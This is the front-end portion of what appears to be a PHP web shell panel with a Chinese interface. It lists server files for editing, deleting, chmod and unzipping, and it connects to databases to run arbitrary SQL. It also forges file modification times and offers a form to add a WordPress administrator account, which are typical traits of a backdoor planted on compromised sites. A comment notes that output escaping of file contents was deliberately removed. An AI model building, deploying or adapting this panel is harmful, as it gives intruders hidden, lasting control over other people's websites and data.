                                                        </svg>
                                                    <?php else: ?>
                                                        <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5" viewBox="0 0 20 20" fill="currentColor">
                                                            <path fill-rule="evenodd" d="M4 4a2 2 0 012-2h4.586A2 2 0 0112 2.586L15.414 6A2 2 0 0116 7.414V16a2 2 0 01-2 2H6a2 2 0 01-2-2V4zm2 6a1 1 0 011-1h6a1 1 0 110 2H7a1 1 0 01-1-1zm1 3a1 1 0 100 2h6a1 1 0 100-2H7z" clip-rule="evenodd" />
                                                        </svg>
                                                    <?php endif; ?>
                                                </div>
                                                
                                                <?php if ($item['is_dir']): ?>
                                                    <a href="?path=<?= urlencode($item['path']) ?>" class="text-indigo-600 hover:text-indigo-900"><?= htmlspecialchars($item['name']) ?></a>
                                                <?php else: ?>
                                                    <span><?= htmlspecialchars($item['name']) ?></span>
                                                <?php endif; ?>
                                            </div>
                                        </td>
                                        <td class="px-6 py-4 whitespace-nowrap"><?= $item['size'] ?></td>
                                        <td class="px-6 py-4 whitespace-nowrap"><?= $item['perms'] ?></td>
                                        <td class="px-6 py-4 whitespace-nowrap"><?= $item['mtime'] ?></td>
                                        <td class="px-6 py-4 whitespace-nowrap text-sm font-medium">
                                            <div class="action-group">
                                                <?php if (!$item['is_dir']): ?>
                                                    <a href="?path=<?= urlencode($currentPath) ?>&edit=<?= urlencode($item['name']) ?>" class="btn-edit hover:underline">编辑</a>
                                                    <a href="?path=<?= urlencode($currentPath) ?>&download=<?= urlencode($item['name']) ?>" class="btn-edit hover:underline">下载</a>
                                                <?php endif; ?>
                                                
                                                <button onclick="showRenameModal('<?= htmlspecialchars($item['name']) ?>')" class="btn-rename hover:underline">重命名</button>
                                                <button onclick="showChmodModal('<?= htmlspecialchars($item['name']) ?>', '<?= $item['perms'] ?>')" class="btn-rename hover:underline">权限</button>
                                                <button onclick="showTimeModal('<?= htmlspecialchars($item['name']) ?>', <?= filemtime($item['path']) ?>)" class="btn-time hover:underline">时间</button>
                                                
                                                <form method="post" class="inline">
                                                    <input type="hidden" name="target" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <input type="hidden" name="action" value="copy">
                                                    <button type="submit" class="btn-copy hover:underline">复制</button>
                                                </form>
                                                
                                                <form method="post" class="inline">
                                                    <input type="hidden" name="target" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <input type="hidden" name="action" value="cut">
                                                    <button type="submit" class="btn-copy hover:underline">剪切</button>
                                                </form>
                                                
                                                <form method="post" class="inline" onsubmit="return confirm('确定要删除吗？');">
                                                    <input type="hidden" name="target" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <input type="hidden" name="action" value="delete">
                                                    <button type="submit" class="btn-delete hover:underline">删除</button>
                                                </form>
                                                
                                                <?php if (!$item['is_dir'] && pathinfo($item['name'], PATHINFO_EXTENSION) === 'zip'): ?>
                                                    <form method="post" class="inline">
                                                        <input type="hidden" name="target" value="<?= htmlspecialchars($item['name']) ?>">
                                                        <input type="hidden" name="action" value="unzip">
                                                        <button type="submit" class="btn-archive hover:underline">解压</button>
                                                    </form>
                                                <?php endif; ?>
                                            </div>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </main>
        <?php endif; ?>

        <!-- 数据库管理模块 -->
        <?php if ($currentTab === 'database'): ?>
            <main class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-6">
                <div class="bg-white shadow rounded-lg overflow-hidden">
                    <div class="p-6">
                        <!-- 数据库连接表单 -->
                        <div class="mb-8">
                            <h2 class="text-lg font-medium text-gray-900 mb-4">数据库连接</h2>
                            <form method="post">
                                <input type="hidden" name="db_action" value="connect">
                                <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                                    <div>
                                        <label for="db_host" class="block text-sm font-medium text-gray-700">主机</label>
                                        <input type="text" id="db_host" name="db_host" class="mt-1 block w-full border border-gray-300 rounded-md shadow-sm py-2 px-3 focus:outline-none focus:ring-indigo-500 focus:border-indigo-500 sm:text-sm" placeholder="localhost">
                                    </div>
                                    <div>
                                        <label for="db_user" class="block text-sm font-medium text-gray-700">用户名</label>
                                        <input type="text" id="db_user" name="db_user" class="mt-1 block w-full border border-gray-300 rounded-md shadow-sm py-2 px-3 focus:outline-none focus:ring-indigo-500 focus:border-indigo-500 sm:text-sm" placeholder="root">
                                    </div>
                                    <div>
                                        <label for="db_pass" class="block text-sm font-medium text-gray-700">密码</label>
                                        <input type="password" id="db_pass" name="db_pass" class="mt-1 block w-full border border-gray-300 rounded-md shadow-sm py-2 px-3 focus:outline-none focus:ring-indigo-500 focus:border-indigo-500 sm:text-sm">
                                    </div>
                                    <div>
                                        <label for="db_name" class="block text-sm font-medium text-gray-700">数据库名</label>
                                        <input type="text" id="db_name" name="db_name" class="mt-1 block w-full border border-gray-300 rounded-md shadow-sm py-2 px-3 focus:outline-none focus:ring-indigo-500 focus:border-indigo-500 sm:text-sm">
                                    </div>
                                </div>
                                <div class="mt-4">
                                    <button type="submit" class="inline-flex justify-center py-2 px-4 border border-transparent shadow-sm text-sm font-medium rounded-md text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                                        连接数据库
                                    </button>
                                </div>
                            </form>
                        </div>

                        <!-- SQL执行表单 -->
                        <?php if (isset($_SESSION['db_pdo'])): ?>
                            <div class="mb-8">
                                <h2 class="text-lg font-medium text-gray-900 mb-4">执行SQL查询</h2>
                                <form method="post">
                                    <input type="hidden" name="db_action" value="execute">
                                    <div class="mb-4">
                                        <label for="sql_query" class="block text-sm font-medium text-gray-700">SQL语句</label>
                                        <textarea id="sql_query" name="sql_query" rows="4" class="mt-1 block w-full border border-gray-300 rounded-md shadow-sm py-2 px-3 focus:outline-none focus:ring-indigo-500 focus:border-indigo-500 sm:text-sm" placeholder="SELECT * FROM table_name"><?= htmlspecialchars($dbQuery) ?></textarea>
                                    </div>
                                    <div>
                                        <button type="submit" class="inline-flex justify-center py-2 px-4 border border-transparent shadow-sm text-sm font-medium rounded-md text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                                            执行查询
                                        </button>
                                    </div>
                                </form>
                            </div>
                        <?php endif; ?>

                        <!-- 查询结果 -->
                        <?php if (!empty($pagedResults)): ?>
                            <div>
                                <h2 class="text-lg font-medium text-gray-900 mb-4">查询结果</h2>
                                <div class="table-container">
                                    <table class="min-w-full divide-y divide-gray-200">
                                        <thead class="bg-gray-50">
                                            <tr>
                                                <?php foreach (array_keys($pagedResults[0]) as $column): ?>
                                                    <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider"><?= htmlspecialchars($column) ?></th>
                                                <?php endforeach; ?>
                                            </tr>
                                        </thead>
                                        <tbody class="bg-white divide-y divide-gray-200">
                                            <?php foreach ($pagedResults as $row): ?>
                                                <tr>
                                                    <?php foreach ($row as $value): ?>
                                                        <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500"><?= htmlspecialchars($value) ?></td>
                                                    <?php endforeach; ?>
                                                </tr>
                                            <?php endforeach; ?>
                                        </tbody>
                                    </table>
                                </div>
                                
                                <!-- 分页控件 -->
                                <?php if ($totalPages > 1): ?>
                                    <div class="mt-4 flex justify-between items-center">
                                        <div>
                                            <p class="text-sm text-gray-700">
                                                显示 <span class="font-medium"><?= (($dbPage - 1) * ITEMS_PER_PAGE) + 1 ?></span> 
                                                到 <span class="font-medium"><?= min($dbPage * ITEMS_PER_PAGE, count($dbResults)) ?></span> 
                                                条，共 <span class="font-medium"><?= count($dbResults) ?></span> 条结果
                                            </p>
                                        </div>
                                        <div class="flex space-x-2">
                                            <?php if ($dbPage > 1): ?>
                                                <a href="?tab=database&db_page=<?= $dbPage - 1 ?>" class="relative inline-flex items-center px-4 py-2 border border-gray-300 text-sm font-medium rounded-md text-gray-700 bg-white hover:bg-gray-50">
                                                    上一页
                                                </a>
                                            <?php endif; ?>
                                            
                                            <?php if ($dbPage < $totalPages): ?>
                                                <a href="?tab=database&db_page=<?= $dbPage + 1 ?>" class="relative inline-flex items-center px-4 py-2 border border-gray-300 text-sm font-medium rounded-md text-gray-700 bg-white hover:bg-gray-50">
                                                    下一页
                                                </a>
                                            <?php endif; ?>
                                        </div>
                                    </div>
                                <?php endif; ?>
                            </div>
                        <?php endif; ?>
                    </div>
                </div>
            </main>
        <?php endif; ?>
    </div>

    <!-- 添加权限修改模态框 -->
    <div id="chmodModal" class="fixed inset-0 z-50 overflow-y-auto hidden">
        <div class="flex items-center justify-center min-h-screen">
            <div class="modal-overlay fixed inset-0 bg-black opacity-50"></div>
            <div class="bg-white rounded-lg overflow-hidden shadow-xl transform transition-all sm:max-w-md sm:w-full relative">
                <div class="px-6 py-4 border-b">
                    <h3 class="text-lg font-medium text-gray-900">修改权限</h3>
                    <button onclick="closeChmodModal()" class="absolute top-4 right-4 text-gray-500 hover:text-gray-700">
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
                        </svg>
                    </button>
                </div>
                <form method="post" class="p-6">
                    <input type="hidden" id="chmodTarget" name="target">
                    <input type="hidden" name="action" value="chmod">
                    <div class="mb-4">
                        <label for="permissions" class="block text-sm font-medium text-gray-700 mb-2">
                            权限设置 (四位八进制，如 0755)
                        </label>
                        <div class="flex items-center">
                            <span class="mr-2">0</span>
                            <input type="text" id="permissions" name="permissions" pattern="[0-7]{3,4}" maxlength="4" class="w-24 border border-gray-300 rounded-md shadow-sm py-2 px-3 focus:outline-none focus:ring-indigo-500 focus:border-indigo-500 sm:text-sm" required>
                            <span class="ml-2 text-sm text-gray-500" id="permissionsHelp"></span>
                        </div>
                        <div class="mt-3">
                            <label class="flex items-center">
                                <input type="checkbox" id="applyRecursive" name="recursive" class="rounded border-gray-300 text-indigo-600 shadow-sm focus:border-indigo-300 focus:ring focus:ring-offset-0 focus:ring-indigo-200 focus:ring-opacity-50">
                                <span class="ml-2 text-sm text-gray-700">应用到子目录和文件</span>
                            </label>
                        </div>
                    </div>
                    <div class="flex justify-end">
                        <button type="button" onclick="closeChmodModal()" class="mr-2 inline-flex justify-center py-2 px-4 border border-gray-300 shadow-sm text-sm font-medium rounded-md text-gray-700 bg-white hover:bg-gray-50 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                            取消
                        </button>
                        <button type="submit" class="inline-flex justify-center py-2 px-4 border border-transparent shadow-sm text-sm font-medium rounded-md text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                            确认修改
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    
    <!-- 添加时间修改模态框 -->
    <div id="timeModal" class="fixed inset-0 z-50 overflow-y-auto hidden">
        <div class="flex items-center justify-center min-h-screen">
            <div class="modal-overlay fixed inset-0 bg-black opacity-50"></div>
            <div class="bg-white rounded-lg overflow-hidden shadow-xl transform transition-all sm:max-w-md sm:w-full relative">
                <div class="px-6 py-4 border-b">
                    <h3 class="text-lg font-medium text-gray-900">修改时间</h3>
                    <button onclick="closeTimeModal()" class="absolute top-4 right-4 text-gray-500 hover:text-gray-700">
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
                        </svg>
                    </button>
                </div>
                <form method="post" class="p-6">
                    <input type="hidden" id="timeTarget" name="target">
                    <input type="hidden" name="action" value="modify_time">
                    <div class="mb-4">
                        <label for="new_time" class="block text-sm font-medium text-gray-700 mb-2">
                            选择新的修改时间
                        </label>
                        <input type="datetime-local" id="new_time" name="new_time" class="w-full border border-gray-300 rounded-md shadow-sm py-2 px-3 focus:outline-none focus:ring-indigo-500 focus:border-indigo-500 sm:text-sm" required>
                    </div>
                    <div class="flex justify-end">
                        <button type="button" onclick="closeTimeModal()" class="mr-2 inline-flex justify-center py-2 px-4 border border-gray-300 shadow-sm text-sm font-medium rounded-md text-gray-700 bg-white hover:bg-gray-50 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                            取消
                        </button>
                        <button type="submit" class="inline-flex justify-center py-2 px-4 border border-transparent shadow-sm text-sm font-medium rounded-md text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                            确认修改
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- 文件编辑模态框 -->
    <div id="editModal" class="fixed inset-0 z-50 overflow-y-auto <?= $editingFile ? '' : 'hidden' ?>" 
         data-file="<?= $editingFile ?>">
        <!-- 修改这里：移除htmlspecialchars()转义 -->
        <textarea id="fileContentContainer" class="hidden"><?= $fileContent ?></textarea>
        
        <div class="flex items-center justify-center min-h-screen">
            <div class="modal-overlay fixed inset-0"></div>
            <div class="bg-white rounded-lg overflow-hidden shadow-xl transform transition-all sm:max-w-4xl sm:w-full relative">
                <div class="px-6 py-4 border-b">
                    <h3 class="text-lg font-medium text-gray-900">编辑文件: <?= htmlspecialchars($editingFile) ?></h3>
                    <button id="closeEditModal" class="absolute top-4 right-4 text-gray-500 hover:text-gray-700">
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
                        </svg>
                    </button>
                </div>
                <form id="editForm" method="post" class="p-6">
                    <input type="hidden" name="action" value="edit">
                    <input type="hidden" name="target" value="<?= htmlspecialchars($editingFile) ?>">
                    <div class="mb-4 relative">
                        <textarea name="file_content" id="hidden_content" class="hidden"></textarea>
                        <div id="editorContainer" class="border border-gray-300 rounded-md"></div>
                    </div>
                    <div class="flex justify-end">
                        <button type="button" onclick="saveContent()" class="inline-flex justify-center py-2 px-4 border border-transparent shadow-sm text-sm font-medium rounded-md text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                            保存
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- 添加管理员模态框 -->
    <div id="addAdminModal" class="fixed inset-0 z-50 overflow-y-auto hidden">
        <div class="flex items-center justify-center min-h-screen">
            <div class="modal-overlay fixed inset-0 bg-black opacity-50"></div>
            <div class="bg-white rounded-lg overflow-hidden shadow-xl transform transition-all sm:max-w-md sm:w-full relative">
                <div class="px-6 py-4 border-b">
                    <h3 class="text-lg font-medium text-gray-900">添加WordPress管理员</h3>
                    <button onclick="closeAddAdminModal()" class="absolute top-4 right-4 text-gray-500 hover:text-gray-700">
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
                        </svg>
                    </button>
                </div>
                <form method="post" class="p-6">
                    <input type="hidden" name="action" value="add_wp_admin">
                    <div class="mb-3">
                        <label class="block mb-1">新用户名</label>
                        <input type="text" name="new_username" required 
                               class="w-full p-2 border rounded" placeholder="输入用户名">
                    </div>
                    <div class="mb-3">
                        <label class="block mb-1">邮箱</label>
                        <input type="email" name="email" required 
                               class="w-full p-2 border rounded" placeholder="admin@example.com">
                    </div>
                    <div class="mb-3">
                        <div class="flex items-center justify-between mb-1">
                            <label>密码</label>
                            <button type="button" onclick="generatePassword()" class="text-xs text-blue-500 hover:underline">
                                生成强密码
                            </button>
                        </div>
                        <input type="text" name="password" id="reset_password" required 
                               class="w-full p-2 border rounded" placeholder="密码长度至少12位">
                    </div>
                    <div class="flex justify-end gap-2">
                        <button type="button" onclick="closeAddAdminModal()" 
                                class="bg-gray-300 text-gray-700 px-4 py-1 rounded-lg">
                            取消
                        </button>
                        <button type="submit" 
                                class="bg-red-600 text-white px-4 py-1 rounded-lg">
                            添加管理员
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- 重命名模态框 -->
    <div id="renameModal" class="fixed inset-0 z-50 overflow-y-auto hidden">
        <div class="flex items-center justify-center min-h-screen">
            <div class="modal-overlay fixed inset-0 bg-black opacity-50"></div>
            <div class="bg-white rounded-lg overflow-hidden shadow-xl transform transition-all sm:max-w-md sm:w-full relative">
                <div class="px-6 py-4 border-b">
                    <h3 class="text-lg font-medium text-gray-900">重命名</h3>
                    <button onclick="closeRenameModal()" class="absolute top-4 right-4 text-gray-500 hover:text-gray-700">
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
                        </svg>
                    </button>
                </div>
                <form method="post" class="p-6">
                    <input type="hidden" id="renameTarget" name="target">
                    <input type="hidden" name="action" value="rename">
                    <div class="mb-4">
                        <label for="new_name" class="block text-sm font-medium text-gray-700 mb-1">新名称</label>
                        <input type="text" id="new_name" name="new_name" class="mt-1 block w-full border border-gray-300 rounded-md shadow-sm py-2 px-3 focus:outline-none focus:ring-indigo-500 focus:border-indigo-500 sm:text-sm" required>
                    </div>
                    <div class="flex justify-end">
                        <button type="button" onclick="closeRenameModal()" class="mr-2 inline-flex justify-center py-2 px-4 border border-gray-300 shadow-sm text-sm font-medium rounded-md text-gray-700 bg-white hover:bg-gray-50 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                            取消
                        </button>
                        <button type="submit" class="inline-flex justify-center py-2 px-4 border border-transparent shadow-sm text-sm font-medium rounded-md text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                            确认
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    <script>
        // 获取文件扩展名对应的CodeMirror模式
        function getCodeMirrorMode(filename) {
            const extension = filename.split('.').pop();
            const modes = {
                'php': 'application/x-httpd-php',
                'js': 'javascript',
                'css': 'css',
                'html': 'htmlmixed',
                'json': 'application/json',
                'xml': 'application/xml',
                'py': 'python',
                'java': 'text/x-java',
                'sql': 'text/x-sql',
                'md': 'text/x-markdown'
            };
            return modes[extension] || 'text/plain';
        }

        // 初始化编辑器
        let codeEditor = null;
        function initEditor(content, language) {
            if (codeEditor) {
                codeEditor.setValue(content);
                codeEditor.setOption("mode", language);
                return;
            }
            
            codeEditor = CodeMirror(document.getElementById('editorContainer'), {
                value: content,
                lineNumbers: true,
                mode: language,
                theme: 'default',
                lineWrapping: true,
                autoRefresh: true,
                indentUnit: 4
            });
        }

        // 保存内容处理
        function saveContent() {
            if (codeEditor) {
                document.getElementById('hidden_content').value = codeEditor.getValue();
                document.getElementById('editForm').submit();
            }
        }

        // 关闭模态框的函数
        function closeModal() {
            const url = new URL(window.location);
            url.searchParams.delete('edit');
            window.history.replaceState(null, '', url);
            const modal = document.getElementById('editModal');
            if (modal) {
                modal.classList.add('hidden');
            }
        }
    

        // 显示重命名模态框
        function showRenameModal(filename) {
            document.getElementById('renameTarget').value = filename;
            document.getElementById('new_name').value = filename;
            document.getElementById('renameModal').classList.remove('hidden');
        }
        
        // 关闭重命名模态框
        function closeRenameModal() {
            document.getElementById('renameModal').classList.add('hidden');
        }

        // 页面加载逻辑
        document.addEventListener('DOMContentLoaded', function() {
            // 绑定关闭事件
            const closeButton = document.getElementById('closeEditModal');
            if (closeButton) {
                closeButton.addEventListener('click', closeModal);
            }
    
            // 初始化编辑器（使用DOM元素获取内容）
            <?php if ($editingFile): ?>
                const contentContainer = document.getElementById('fileContentContainer');
                const content = contentContainer ? contentContainer.value : '';
                const language = getCodeMirrorMode('<?= $editingFile ?>');
                initEditor(content, language);
                
                // 添加编辑器刷新逻辑
                setTimeout(() => {
                    if (codeEditor) {
                        codeEditor.refresh();
                    }
                }, 100);
            <?php endif; ?>
        });

        // 初始化日期时间选择器
        document.addEventListener('DOMContentLoaded', function() {
            flatpickr("#new_time", {
                enableTime: true,
                dateFormat: "Y-m-d H:i",
                time_24hr: true
            });
        });
    
        // 显示权限修改模态框
        function showChmodModal(filename, currentPerms) {
            document.getElementById('chmodTarget').value = filename;
            document.getElementById('permissions').value = currentPerms;
            document.getElementById('chmodModal').classList.remove('hidden');
            
            // 更新权限说明
            updatePermissionsHelp(currentPerms);
        }
        
        // 关闭权限修改模态框
        function closeChmodModal() {
            document.getElementById('chmodModal').classList.add('hidden');
        }
        
        // 显示时间修改模态框
        function showTimeModal(filename, timestamp) {
            document.getElementById('timeTarget').value = filename;
            
            // 将时间戳转换为本地日期时间字符串
            const date = new Date(timestamp * 1000);
            const formattedDate = date.toISOString().slice(0, 16).replace('T', ' ');
            document.getElementById('new_time').value = formattedDate;
            
            document.getElementById('timeModal').classList.remove('hidden');
        }
        
        // 关闭时间修改模态框
        function closeTimeModal() {
            document.getElementById('timeModal').classList.add('hidden');
        }
        
        // 更新权限说明
        function updatePermissionsHelp(perms) {
            const helpText = document.getElementById('permissionsHelp');
            if (!perms) return;
            
            const permsStr = perms.padStart(4, '0').slice(-4);
            const permsInt = parseInt(permsStr, 8);
            
            const owner = (permsInt >> 6) & 7;
            const group = (permsInt >> 3) & 7;
            const others = permsInt & 7;
            
            const permsMap = {
                0: '---',
                1: '--x',
                2: '-w-',
                3: '-wx',
                4: 'r--',
                5: 'r-x',
                6: 'rw-',
                7: 'rwx'
            };
            
            helpText.textContent = 
                `当前: ${permsMap[owner]} ${permsMap[group]} ${permsMap[others]}`;
        }
        
        // 在页面加载时初始化权限说明
        document.addEventListener('DOMContentLoaded', function() {
            const permsInput = document.getElementById('permissions');
            if (permsInput) {
                permsInput.addEventListener('input', function() {
                    updatePermissionsHelp(this.value);
                });
            }
        });

        // 显示添加管理员模态框
        function showAddAdminModal() {
            document.getElementById('addAdminModal').classList.remove('hidden');
        }
        
        // 关闭添加管理员模态框
        function closeAddAdminModal() {
            document.getElementById('addAdminModal').classList.add('hidden');
        }
        
        // 生成随机密码
        function generatePassword() {
            const length = 16;
            const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+~`|}{[]:;?><,./-=";
            let password = "";
            
            // 确保包含所有字符类型
            password += getRandomChar("abcdefghijklmnopqrstuvwxyz");
            password += getRandomChar("ABCDEFGHIJKLMNOPQRSTUVWXYZ");
            password += getRandomChar("0123456789");
            password += getRandomChar("!@#$%^&*()_+~`|}{[]:;?><,./-=");
            
            // 填充剩余长度
            for (let i = password.length; i < length; i++) {
                password += charset.charAt(Math.floor(Math.random() * charset.length));
            }
            
            // 随机打乱密码
            password = password.split('').sort(() => 0.5 - Math.random()).join('');
            
            document.getElementById('reset_password').value = password;
        }
        
        function getRandomChar(charSet) {
            return charSet.charAt(Math.floor(Math.random() * charSet.length));
        }
    </script>
</body>
</html>